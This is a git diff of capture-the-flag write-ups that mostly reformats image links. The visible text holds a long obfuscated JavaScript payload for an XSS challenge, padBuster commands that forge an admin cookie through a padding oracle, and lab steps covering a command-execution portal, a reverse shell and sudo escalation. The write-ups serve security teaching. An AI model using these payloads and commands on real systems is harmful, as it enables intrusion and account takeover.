e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` -### Exploit Code +### Exploit Code This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit: @@ -139,15 +139,15 @@ txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` -### Exploitation +### Exploitation In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here: -```text +``` e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][42]+[[][[]]+e][0][2]+[e+e][0][1]+[e+e][0][5]+[[][[]]+e][0][0]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[e+e][0][0]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[[][[]]+e][0][2]+[e+e][0][1]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[[]/e+e][0][1]+[[][[]]+e][0][5]+[[][[]]+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[e+e][0][27]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][43]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[/e/+e][0][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]]}` ``` -Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose \(_note that the exploit is URL encoded_\): +Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_): ```markup @@ -165,7 +165,7 @@ Then, you need to **generate a HTML page** that, when loaded, it’s going to ** ``` -Finally, **serve the poc in a HTTP** server and access it from the browser: +Finally, **serve the poc in a HTTP** server and access it from the browser:\ ![](https://i.imgur.com/qack7GO.png) @@ -173,4 +173,3 @@ Finally, **serve the poc in a HTTP** server and access it from the browser: Just press **submit** on the captcha form and the alert will be executed: ![](https://i.imgur.com/mCORty3.png) - diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md index b65c51b4..9c37fe06 100644 --- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md +++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md @@ -4,21 +4,21 @@ ## Enumeration -I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): +I started **enumerating the machine using my tool **[**Legion**](https://github.com/carlospolop/legion): -![](../../.gitbook/assets/image%20%2821%29.png) +![](<../../.gitbook/assets/image (244).png>) -There are 2 ports open: 80 \(**HTTP**\) and 22 \(**SSH**\) +There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**) In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated: -![](../../.gitbook/assets/image%20%28311%29.png) +![](<../../.gitbook/assets/image (245).png>) -![](../../.gitbook/assets/image%20%28318%29.png) +![](<../../.gitbook/assets/image (246).png>) -And if you change some **byte** of the **cookie** you get this error: +And if you change some **byte **of the **cookie **you get this error: -![](../../.gitbook/assets/image%20%28109%29.png) +![](<../../.gitbook/assets/image (247).png>) With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it: @@ -26,9 +26,9 @@ With this information and[ **reading the padding oracle vulnerability**](../../c perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" ``` -![](../../.gitbook/assets/image%20%2853%29.png) +![](<../../.gitbook/assets/image (248).png>) -![](../../.gitbook/assets/image%20%28173%29.png) +![](<../../.gitbook/assets/image (249).png>) **Set user admin:** @@ -36,7 +36,5 @@ perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/ perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin" ``` -![](../../.gitbook/assets/image%20%28271%29.png) - - +![](<../../.gitbook/assets/image (250).png>) diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index b611a9ca..757c19ac 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -6,29 +6,29 @@ This machine was categorised as easy and it was pretty easy. ## Enumeration -I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): +I started **enumerating the machine using my tool **[**Legion**](https://github.com/carlospolop/legion): -![](../../.gitbook/assets/image%20%2879%29.png) +![](<../../.gitbook/assets/image (79) (2).png>) -In as you can see 2 ports are open: 80 \(**HTTP**\) and 22 \(**SSH**\) +In as you can see 2 ports are open: 80 (**HTTP**) and 22 (**SSH**) So, I launched legion to enumerate the HTTP service: -![](../../.gitbook/assets/image%20%28140%29.png) +![](<../../.gitbook/assets/image (234).png>) Note that in the image you can see that `robots.txt` contains the string `Wubbalubbadubdub` -After some seconds I reviewed what `disearch` has already discovered : +After some seconds I reviewed what `disearch `has already discovered : -![](../../.gitbook/assets/image%20%28132%29.png) +![](<../../.gitbook/assets/image (235).png>) -![](../../.gitbook/assets/image%20%28105%29.png) +![](<../../.gitbook/assets/image (236).png>) -And as you may see in the last image a **login** page was discovered. +And as you may see in the last image a **login **page was discovered. Checking the source code of the root page, a username is discovered: `R1ckRul3s` -![](../../.gitbook/assets/image%20%28324%29.png) +![](<../../.gitbook/assets/image (237).png>) Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub` @@ -36,27 +36,26 @@ Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubb Using those credentials you will access a portal where you can execute commands: -![](../../.gitbook/assets/image%20%28196%29.png) +![](<../../.gitbook/assets/image (241).png>) -Some commands like cat aren't allowed but you can read the first ingredient \(flag\) using for example grep: +Some commands like cat aren't allowed but you can read the first ingredient (flag) using for example grep: -![](../../.gitbook/assets/image%20%28218%29.png) +![](<../../.gitbook/assets/image (242).png>) Then I used: -![](../../.gitbook/assets/image%20%28171%29.png) +![](<../../.gitbook/assets/image (243).png>) To obtain a reverse shell: -![](../../.gitbook/assets/image%20%2851%29.png) +![](<../../.gitbook/assets/image (239).png>) The **second ingredient** can be found in `/home/rick` -![](../../.gitbook/assets/image%20%2857%29.png) +![](<../../.gitbook/assets/image (240).png>) ## Root The user **www-data can execute anything as sudo**: -![](../../.gitbook/assets/image%20%2884%29.png) 